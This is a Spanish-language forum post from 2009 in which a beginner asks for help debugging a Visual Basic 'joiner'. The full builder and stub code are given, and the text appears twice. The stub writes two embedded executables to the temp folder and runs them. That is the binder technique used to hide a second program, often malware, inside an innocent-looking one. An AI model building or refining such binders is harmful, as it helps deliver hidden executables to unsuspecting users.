[VB] Donde esta el error?
Publicado: 30 Jun 2009, 23:06
Estoy haciendo un Joiner basico que junte dos archivos, mi tercer programa xD
La question esque yo segun se lo veo bien, y al ejecutar el archivo resultante sale una pantallita diciendo: Se ha encontrado una instruccion no permitida ._.
Aqui os dejo el codigo.
JOINER:
Private Sub Command1_Click()
cd1.Filter = "*.*|*.*"
cd1.DialogTitle = "Seleccione el primer archivo a juntar..."
cd1.ShowOpen
If cd1.FileName = "" Then Exit Sub
Text1.Text = cd1.FileName
End Sub
Private Sub Command2_Click()
cd2.Filter = "*.*|*.*"
cd2.DialogTitle = "Seleccione el segundo archivo a juntar..."
cd2.ShowOpen
If cd2.FileName = "" Then Exit Sub
Text2.Text = cd2.FileName
End Sub
Private Sub Command3_Click()
Dim stub As String, archivo1 As String, archivo2 As String
Open App.Path & "\Stub.exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Open cd1.FileName For Binary As #1
archivo1 = Space(LOF(1))
Get #1, , archivo1
Close #1
Open cd2.FileName For Binary As #1
archivo2 = Space(LOF(1))
Get #1, , archivo2
Close #1
cd3.Filter = "Ejecutables|*.exe"
cd3.DialogTitle = "Archivo resultante..."
cd3.ShowSave
If cd3.FileName = "" Then Exit Sub
Open cd3.FileName For Binary As #1
Put #1, , stub & "aipse" & archivo1 & "aipse" & archivo2 & "aipse"
Close #1
MsgBox "Archivos Juntados", vbInformation, "Información"
End Sub
STUB:
Private Sub Main()
Dim aipse As String, lol() As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
aipse = Space(LOF(1))
Get #1, , aipse
Close #1
lol() = Split(aipse, "aipse")
Open Environ("tmp") & "\File1.exe" For Binary As #1
Put #1, , lol(1)
Close #1
Shell Environ("tmp") & "\File1.exe"
Open Environ("tmp") & "\File2.exe" For Binary As #1
Put #1, , lol(2)
Close #1
Shell Environ("tmp") & "\File2.exe"
End Sub
Pues esto es todo.
Saludos!
La question esque yo segun se lo veo bien, y al ejecutar el archivo resultante sale una pantallita diciendo: Se ha encontrado una instruccion no permitida ._.
Aqui os dejo el codigo.
JOINER:
Private Sub Command1_Click()
cd1.Filter = "*.*|*.*"
cd1.DialogTitle = "Seleccione el primer archivo a juntar..."
cd1.ShowOpen
If cd1.FileName = "" Then Exit Sub
Text1.Text = cd1.FileName
End Sub
Private Sub Command2_Click()
cd2.Filter = "*.*|*.*"
cd2.DialogTitle = "Seleccione el segundo archivo a juntar..."
cd2.ShowOpen
If cd2.FileName = "" Then Exit Sub
Text2.Text = cd2.FileName
End Sub
Private Sub Command3_Click()
Dim stub As String, archivo1 As String, archivo2 As String
Open App.Path & "\Stub.exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Open cd1.FileName For Binary As #1
archivo1 = Space(LOF(1))
Get #1, , archivo1
Close #1
Open cd2.FileName For Binary As #1
archivo2 = Space(LOF(1))
Get #1, , archivo2
Close #1
cd3.Filter = "Ejecutables|*.exe"
cd3.DialogTitle = "Archivo resultante..."
cd3.ShowSave
If cd3.FileName = "" Then Exit Sub
Open cd3.FileName For Binary As #1
Put #1, , stub & "aipse" & archivo1 & "aipse" & archivo2 & "aipse"
Close #1
MsgBox "Archivos Juntados", vbInformation, "Información"
End Sub
STUB:
Private Sub Main()
Dim aipse As String, lol() As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
aipse = Space(LOF(1))
Get #1, , aipse
Close #1
lol() = Split(aipse, "aipse")
Open Environ("tmp") & "\File1.exe" For Binary As #1
Put #1, , lol(1)
Close #1
Shell Environ("tmp") & "\File1.exe"
Open Environ("tmp") & "\File2.exe" For Binary As #1
Put #1, , lol(2)
Close #1
Shell Environ("tmp") & "\File2.exe"
End Sub
Pues esto es todo.
Saludos!